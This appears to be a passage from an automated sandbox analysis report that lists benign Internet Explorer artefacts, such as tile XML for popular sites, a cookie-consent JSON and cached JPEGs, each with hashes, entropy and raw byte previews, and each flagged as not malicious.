Entropy (8bit):	1.7546387760198097
Encrypted:	false
SSDEEP:	96:ryZlZkN2kQzWkQC6tkQCifkQCfUvtkQCfU+ULz3WkQCFUYU+Uj:ryZlZk2fWRtpfauta9gz3W8H9K
MD5:	A3D71F891000F66118C24EA5EEE36A3D
SHA1:	E5CBE91BF6C036E64C42F092F753A8057B797028
SHA-256:	B823E0E3C4A19797A640C197C79248864B5BE79DF418E273075ED175101C466B
SHA-512:	39F3BDE2FD51E14A1938D432AA52E62242225B0189796AAAC318821A461B2837C9A9BC4DFA2F2BEBC8CC847DB2D42C4145F0555AAB1D90ABD7C077F9EBA72EA7
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{79FEA632-207C-11EC-90E9-ECF4BB862DED}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	199628
Entropy (8bit):	3.584384950073997
Encrypted:	false
SSDEEP:	3072:tZ/2Bfcdmu5kgTzGttZ/2Bfc+mu5kgTzGtf:02O
MD5:	4C1050C5AD13CD3DE3A66B4DCD925240
SHA1:	5887387A4AD5DBF2ACA214FF0C07B7B33893FB2D
SHA-256:	577EA43837FF5D5844E3C97F4A90F4101F00C895423277F041A356A3FFD71A5D
SHA-512:	829B7063713EE30C78847EB41A4B6C404EDE27A91F555A74A224DC10EE381C619764A0DDE33E259B180C83BC72562456D86A09F776BFEA821BE9AC73183C9B51
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-17529550060\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	656
Entropy (8bit):	5.144879013296989
Encrypted:	false
SSDEEP:	12:TMHdNMNxOETM/4nWimI002EtM3MHdNMNxOETM/4nWimI00ObVbkEtMb:2d6NxO34SZHKd6NxO34SZ76b
MD5:	8CBC06CE38952B039B3B4A8B9F5013CB
SHA1:	0E352BA691B73196D83100C18ADD4D312DB7D68D
SHA-256:	D3B6CD9749A368109D275AFB843C224FA4F34B22533F200E6293778401BE95E9
SHA-512:	811F334B19A2E6865ADE3C9B47DB0FF76B2BC2F22562482F76C2A115C9EEAFCBAB44DA12E77213A9549462733760CBF67339A3A1A94B62C1265BABF16726F696
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x51c8942f,0x01d7b489</date><accdate>0x51c8942f,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x51c8942f,0x01d7b489</date><accdate>0x51c8942f,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-18270793970\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	653
Entropy (8bit):	5.127819674489357
Encrypted:	false
SSDEEP:	12:TMHdNMNxe2k2yC4nWimI002EtM3MHdNMNxe2k2yC4nWimI00Obkak6EtMb:2d6NxrVyC4SZHKd6NxrVyC4SZ7Aa7b
MD5:	610389C365DA61ACBE430DB621C4E6E3
SHA1:	AEF146CDEAB290493163C83ADAAC0A9412A21348
SHA-256:	FDA0C00EF49170A10965DDB42057C6158E6269D7921B7C37840B72DA03E7338B
SHA-512:	3A5AD495914492A286207882F1D125D8180DB34C70335938BD9E8C43DFF042A3E9B47D737EEE04E9C38BF463525D9DACC58D49F68E804672042DFC579916F317
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0x51bf0bc7,0x01d7b489</date><accdate>0x51bf0bc7,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0x51bf0bc7,0x01d7b489</date><accdate>0x51bf0bc7,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Amazon.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-21706820\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	662
Entropy (8bit):	5.164425576583077
Encrypted:	false
SSDEEP:	12:TMHdNMNxvLTM/4nWimI002EtM3MHdNMNxvLTM/4nWimI00ObmZEtMb:2d6Nxvs4SZHKd6Nxvs4SZ7mb
MD5:	72E93B55992F15BF2A93FDF69E2D5ABD
SHA1:	9A82B097386FBBB847F9447E0ED97C6FD53CF6C7
SHA-256:	CD2565A355B16910FAD0E299E0ACB53AF98C07BBCCEFA19513CD3B7407E3D857
SHA-512:	BFF6B57BD09CAEA3AA756EEE26D3A8D1E3879B02964D5140DFD412D1119704AFCC251699DBA0FDAC7A4E518A5B00FCE65AC44B7AC31249DF017A82A37742075A
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0x51c8942f,0x01d7b489</date><accdate>0x51c8942f,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0x51c8942f,0x01d7b489</date><accdate>0x51c8942f,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Wikipedia.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-4759708130\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	647
Entropy (8bit):	5.1206836817680195
Encrypted:	false
SSDEEP:	12:TMHdNMNxi2yC4nWimI002EtM3MHdNMNxi2yC4nWimI00Obd5EtMb:2d6NxLyC4SZHKd6NxLyC4SZ7Jjb
MD5:	D2E5A3047A056FBCDBE34AE6B98BF8C2
SHA1:	AB84D267DE314C4115B8A83169C01EE7F88CBC71
SHA-256:	90A0A32315D447509B40F8E9B0E38D86AA0D5FC2D454C7749604F6342624E266
SHA-512:	8CEDD558CA6569C0D64F10E62FB7D650E0B1183E95C08ED6E6C3A9D8A6D28AC7A7CB56D2AFDDB305C402C7FFA32790DAE473F8C6973048EA6AB16EC7738F452F
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0x51bf0bc7,0x01d7b489</date><accdate>0x51bf0bc7,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0x51bf0bc7,0x01d7b489</date><accdate>0x51bf0bc7,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Live.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-6757900\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	656
Entropy (8bit):	5.1759795128458626
Encrypted:	false
SSDEEP:	12:TMHdNMNxhGwTM/4nWimI002EtM3MHdNMNxhGwTM/4nWimI00Ob8K075EtMb:2d6NxQz4SZHKd6NxQz4SZ7YKajb
MD5:	833B95B325BA7666E4201C3D9D369D89
SHA1:	9C28714EE9803CBBB8895E1F59D14828EB39C72A
SHA-256:	0F625E70D3F3BE464AB117B0D7DABB43C5DF1413ACE8CDD3276490E66503B051
SHA-512:	8FBAEDED762A64A6E38CA4FD77A741718CC06A6222330BF21534F93B33EBE3A191424DFC334DFF4EEC121D0F1FAF011148A49DB2BE76DB2E700D1E25DB278CF6
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x51c8942f,0x01d7b489</date><accdate>0x51c8942f,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x51c8942f,0x01d7b489</date><accdate>0x51c8942f,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Youtube.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-8760897390\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	653
Entropy (8bit):	5.1079981909506555
Encrypted:	false
SSDEEP:	12:TMHdNMNx0n2yC4nWimI002EtM3MHdNMNx0n2yC4nWimI00ObxEtMb:2d6Nx02yC4SZHKd6Nx02yC4SZ7nb
MD5:	AF6FD0F01D6DE4F94E2BA27586B02DD4
SHA1:	ED0C18E2269DD482F8165FB64AF2FCB02A5801EC
SHA-256:	4367844F79408F0193EC583F0237D492AA1CE104E423ED07F557D4044137B641
SHA-512:	C9131FCA9A632D83C97AA5686824A6E8F048857A758BDE4FB6F75FAFAEEBF696A76001C5D68D9FCC2C8C2955D61F1A5858F7874B06E7921173BC0EFC7E5914FB
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0x51bf0bc7,0x01d7b489</date><accdate>0x51bf0bc7,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0x51bf0bc7,0x01d7b489</date><accdate>0x51bf0bc7,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Reddit.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20259167780\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	656
Entropy (8bit):	5.145203127280042
Encrypted:	false
SSDEEP:	12:TMHdNMNxx2yC4nWimI002EtM3MHdNMNxx2yC4nWimI00Ob6Kq5EtMb:2d6NxIyC4SZHKd6NxIyC4SZ7ob
MD5:	9A8F53D72AF96A985D0C5CD945C3643B
SHA1:	C889C7B201EED08F186573B20177EF1F89680991
SHA-256:	22A48AA8EE423F89D3062273F2B2A0A45CDD636E62DB883650CE9EB6F28BD40B
SHA-512:	D6DBFBBF3254FDC116B2FFF7CE877257B56EA94F9E9EE8F6A8D7DDBD7D25B0CA4853F9395618ABB099B6CC6FC28D8FE751F40BE2B1B4BC4E21B40F329365AA5D
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0x51bf0bc7,0x01d7b489</date><accdate>0x51bf0bc7,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0x51bf0bc7,0x01d7b489</date><accdate>0x51bf0bc7,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\NYTimes.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20332743330\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	659
Entropy (8bit):	5.116558085772909
Encrypted:	false
SSDEEP:	12:TMHdNMNxc2yC4nWimI002EtM3MHdNMNxc2yC4nWimI00ObVEtMb:2d6Nx9yC4SZHKd6Nx9yC4SZ7Db
MD5:	6E41A892C49B0E3EC1B40DC051428493
SHA1:	52EEDF57F5DAA3442609546212600B1791FB4672
SHA-256:	3840B7C5F721E210DE1727FB267DEDF690121F2242D43D492ACF23E310B19BF4
SHA-512:	1FE9E532C143AE54C3540B638137ECF56043DEFA4CA0528977DAB4A81AFB796B3F377E697588E9D904E3BCDD600660B0099A9D1698301BD127D0440941284237
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x51bf0bc7,0x01d7b489</date><accdate>0x51bf0bc7,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x51bf0bc7,0x01d7b489</date><accdate>0x51bf0bc7,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Facebook.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin8215062560\msapplication.xml Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	653
Entropy (8bit):	5.106259407142566
Encrypted:	false
SSDEEP:	12:TMHdNMNxfn2yC4nWimI002EtM3MHdNMNxfn2yC4nWimI00Obe5EtMb:2d6NxeyC4SZHKd6NxeyC4SZ7ijb
MD5:	AFC58F13457F89B373A9879F82F17FC3
SHA1:	FD46B449F73CD060330C6780A59D4F2246B5F174
SHA-256:	44CE91262B5AA0216A918D91743DDAED4A6011E90F7049BCDADC879F34DF01EE
SHA-512:	9A8DE75F68EACDB4B7E3EB916BE7F592106E7B0742564F798B4BD2D2F62BA83F97109703A82EBF906E107937DD37794F2B9737AFC6BA454E82A3CDA1A77412AA
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.google.com/"/><date>0x51bf0bc7,0x01d7b489</date><accdate>0x51bf0bc7,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.google.com/"/><date>0x51bf0bc7,0x01d7b489</date><accdate>0x51bf0bc7,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Google.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\imagestore\ynfz0jx\imagestore.dat Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.0273324619664885
Encrypted:	false
SSDEEP:	24:u6tWaF/6easyD/iCHLSWWqyCoTTdTc+yhaX4b9upGa:u6tWu/6symC+PTCq5TcBUX4bI
MD5:	BA5E7DD56CEC403F67CE245BB1929C5E
SHA1:	20EA41E79098C51B637A92E9B80BB9660A6465E0
SHA-256:	A2AEF948CF1C7FF2F4CEEAA2FBC14BD94CA6B9C09F46BDA5C8A619D82A867062
SHA-512:	ADC17ABC439FD9F9387F592742B7EBA2D0BCA6473D9554AB8F082AFB96BE491A2CBBAE07D659CA089522204D2B7BF88774754753B4F504B79A4A9A170A7D90DA
Malicious:	false
Reputation:	unknown
Preview:	E.h.t.t.p.s.:././.s.t.a.t.i.c.-.g.l.o.b.a.l.-.s.-.m.s.n.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.h.p.-.n.e.u./.s.c./.2.b./.a.5.e.a.2.1...i.c.o......PNG........IHDR... ... ............pHYs.................vpAg... ... ........eIDATH...o.@../..MT..KY..P!9^....:UjS..T."P.(R.PZ.KQZ.S. ....,v2.^.....9/t....K..;_ }'.....~..qK..i.;.B..2.`.C...B........<...CB.....).....;..Bx..2.}.. ._>w!..%B..{.d...LCgz..j/.7D..M..............'.HK..j%.!DOf7......C.]._Z.f+..1.I+.;.Mf....L:Vhg..[.. ..O:..1.a....F..S.D...8<n.V.7M.....cY@.......4.D..kn%.e.A.@lA.,>\.Q\|.N.P........<.!....ip...y..U....J...9...R..mgp}vvn.f4$..X.E.1.T...?.....'.wz..U...../[...z..(DB.B(....-........B.=m.3......X...p...Y........w..<.........8...3.;.0....(..I...A..6f.g.xF..7h.Gmq\|....gz_Z...x..0F'..........x..=Y}.,jT..R......72w/...Bh..5..C...2.06`........8@A..."zTXtSoftware..x.sL.OJU..MLO.JML.../.....M....IEND.B`. ... ...........XHSa....XHSa....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\55a804ab-e5c6-4b97-9319-86263d365d28[1].json Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	2955
Entropy (8bit):	4.796538193381466
Encrypted:	false
SSDEEP:	48:Y9vlgmDHF6Bjb40UMRBrvdiZv5Gh8aZa6AyYAmHHPk5JKIcFerZjSaSZjfumjVT4:OymDwb40zrvdip5GHZa6AyQshjUjVjx4
MD5:	8FCB3F61085635194CE5A73516DE39F9
SHA1:	4EF7BB8362EE512BD497C48C168085738EE010C3
SHA-256:	CEC95B7811CBF927FD338529A08F6B1BBF12F5B78459D07D15DE92C60C12DD64
SHA-512:	DB60AF665E02724F527C6781396105C456E56D23691A64F57BDD452C0568EF43DE36F63D8B18702A5C5A6FA29C9C16CD6ADEBB74E28BA94AF7291EAC3095861D
Malicious:	false
Reputation:	unknown
Preview:	{"CookieSPAEnabled":false,"MultiVariantTestingEnabled":false,"UseV2":true,"MobileSDK":false,"SkipGeolocation":false,"ScriptType":"LOCAL","Version":"6.4.0","OptanonDataJSON":"55a804ab-e5c6-4b97-9319-86263d365d28","GeolocationUrl":"https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location","RuleSet":[{"Id":"6f0cca92-2dda-4588-a757-0e009f333603","Name":"Global","Countries":["pr","ps","pw","py","qa","ad","ae","af","ag","ai","al","am","ao","aq","ar","as","au","aw","az","ba","bb","rs","bd","ru","bf","rw","bh","bi","bj","bl","bm","bn","bo","sa","bq","sb","sc","br","bs","sd","bt","sg","bv","sh","bw","by","sj","bz","sl","sn","so","ca","sr","ss","cc","st","cd","sv","cf","cg","sx","ch","sy","ci","sz","ck","cl","cm","cn","co","tc","cr","td","cu","tf","tg","cv","th","cw","cx","tj","tk","tl","tm","tn","to","tr","tt","tv","tw","dj","tz","dm","do","ua","ug","dz","um","us","ec","eg","eh","uy","uz","va","er","vc","et","ve","vg","vi","vn","vu","fj","fk","fm","fo","wf","ga","ws","gd","ge","gg","gh

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\AAKrmUx[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
Category:	dropped
Size (bytes):	10612
Entropy (8bit):	7.944641469484935
Encrypted:	false
SSDEEP:	192:QoMqxuQHDluelf0Q3mlI6HrsuI18YxNqXcKtYKy5c37hLYiCu:b9DlueF/sAD8xE5crqi5
MD5:	122F873C3ED9E1BB7A095D1800E6B799
SHA1:	3A70F24B0FAB9BA29DDDFC4CCBE7F49549E3BF5E
SHA-256:	68B3BF50A936EC49AB3F80CAB38FCCC461D4C2F0FAFF9E68E3FF33B11ABEE4DA
SHA-512:	F27C961FF5AAE6ED4C6615460C7E45164FADA14B14923606EA51F4B76DB286170A46BE4E7581E8AE0731D49F2834E74F760BB226477194F029CEB38ABF72F222
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`...................... .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO....................................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..t#w=.S!..\|....dp....Bz..c......1.!...U.b....b.......Bv.Np=..Vk.Y&.Ue.8,0.EKh...uh.Pah.^F.....F.l.,.......r&.a;....q.#,.#!...x.._q...2_..........VB"......6..94...%.c...%..#....&..1#.H...........Ar..N.g.a..?.qQv[:.>.96.....y..Q].W1.&.-....y....T..1vg:#0.H`.zv.`.).w#X.].b....q.B.Pex>....Ws..jn.....^b..p..s.+..u..W..X.L.H.T.J.!..@...1@....p9<P.w..8......q..y..Vj....c2{..s...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\AAOPFQ6[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 310x166, frames 3
Category:	dropped
Size (bytes):	7183
Entropy (8bit):	7.886954152565244
Encrypted:	false
SSDEEP:	192:QnTjmzky22dD/K8a2kqSasJar8Us3W6522QeWh4uquKxnULXA:03mAy2ia2ZssYUs37522Ql4uMtaQ
MD5:	DC08359372F94190B3D6A680E688AA93
SHA1:	8F78222C4BF1538B6E2109EC51A8AC6B8879FA9C
SHA-256:	27248A8155F038FE47715B16F3E44376E5A97E9A7E2FF8B6011E9707BC875E5D
SHA-512:	68445BF2DA94C44D1FAAF2CB0EF85CC7BF784E65D556B6E47C552ABAC88E9503A651F8EA67CB2F87CCF648222522C4FAF7095EB8FECF30C50907E9F56232FB8C
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`...................... .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO........6...........................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..\|T....2.V."......H..!..X.b...../...a...b..1@.(.(...).1@...B)..P.P...%0.)...F.i+..$@I.8.j\.Ql...2.2[Ha..(f%....?..F.Kw#.$...E-S]...\|%...o....TN..B]~..(VW.&.@OJ.)w5\|....e....N>_.`@.+U..2mt:....u...F.z.Q.M^.d.-....1.P...A.b..0...:...........@..ZC....8..D8.......C-%P.P.h....@.h.E1.@...B(.....@.l.H..^...)".......+9H.0..5.i&..BJ.j...U....v.O@.RBa...0Y.g...u5...../...'....O$..B..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\AAOPLxm[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
Category:	dropped
Size (bytes):	9185
Entropy (8bit):	7.916314058922854
Encrypted:	false
SSDEEP:	192:QouMCSvWbWPgVE0VHHnNQ6acqPkJlQL+W2pkbtzW5W4:b11WbWPYVnO68P/+Zkx6D
MD5:	B68AF1C5791BEE0CB5F5A3F8C30A9460
SHA1:	ADB1AEED43B31094D7BFC5D6CFB838D7DD51D735
SHA-256:	18480DF05FB36984960E848AA7015F0414E8D6454D33F20B6EFD956400CD8D32
SHA-512:	7DCBB9E90104806389B170C53A3FB29435137F1AF8603F6236A9847A145292C8B1AC50C7F27B461370B8EAAD8F4659C1D4E0F52F9FB021BCEDB4A3A6B56456D4
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`...................... .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO....................................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..^h.y....9.....(..(...@..C;m.....d....;s[..<w..;V...>....Y..)../.Vm....0....F3@..@.....$.....1.....+=M;....\, .4\V-`..s@.4.s@.@.......@..P.{..'..nEM..r..@.[-Y....2.f.y...r..."..L..k.....LP...R....0(...&....@..........#...@.4.s@.@....P...i....7ED.1.U....f.{g.....{..0...dy..u.]n+.p_....Z.y.... W...%.;..)`;Qa.7.E.......P..@..@.E....P...@.p;..l.w...@.(........(...0..I.#..e.D......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\AAOQ05z[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
Category:	dropped
Size (bytes):	7796
Entropy (8bit):	7.881570790967039
Encrypted:	false
SSDEEP:	192:QoKxSDwyZt5X++vkCiCyUhlkGKtAoGMWaybjNpTWUwcfa:bZUyxX++v+Gh6WlfNhWUPa
MD5:	818B889D2591E38E9EB64D615E01913D
SHA1:	F47FE7025D8CADDF9DBFD53A054AC33227D041A2
SHA-256:	5B48FCF58AF2ACE5308388850B3E26D21DB1CE2A79C5D48BBE63B3FC317F6933
SHA-512:	23972493969492F6CD9E1882A251CC3C6AA661FF3CBD47F9AB7F693E9A04174C7776734BFA8263F4D8142072325C739C9A9E6DBACDC444EE21F1DDF1D062E299
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`...................... .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO....................................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...q..~B....w.....`..t.(...O....p$.1@.?.......+S1i.P.P.@....-...P.@........(..........?...}.1..Q.?......O....a..........wR...z.a.0....../[..$.....P.@....P.@....P.@..-...P.@.@.....x.>.+..N}....\.....).Be.....G..c.....i6..yu..tS_.?..WA...P.@....P.@....P.@..-...P.@.@..-.U...?..\.6..N@....1....7............Xc..O.....Y..w...tUG...I.t..@....(..a@....P.@......P.@.@......YI...g.Ms#f;#

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\AAOQ2Ba[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
Category:	dropped
Size (bytes):	7834
Entropy (8bit):	7.7295881600980865
Encrypted:	false
SSDEEP:	192:Qol0VUcoWk3sMMy3yqb27Zz9K24IqqLzgHqCh7IXTYBRcYDfraCpRw7:bl0VUcVFsyqEZzI27q9BhIj2SYLuCfw7
MD5:	42EE2C935C9BDDEC249ECB9ECD766E4D
SHA1:	8AC5366279F433DBF51F46DBA433F6103EA8856C
SHA-256:	B13142C6716A2D0AC8539FE692E41A7B99F2198BED37F214E894B50DC406467F
SHA-512:	B28E5A7104042DBF46273D13B24BEDC0DA5FA4751BA34BE41F4D1FF45678C643BDFE93F29B9F43915F698486AF8E9DC4493E68541B064A605D1FDA0D175904FD
Malicious:	false
Reputation:	unknown
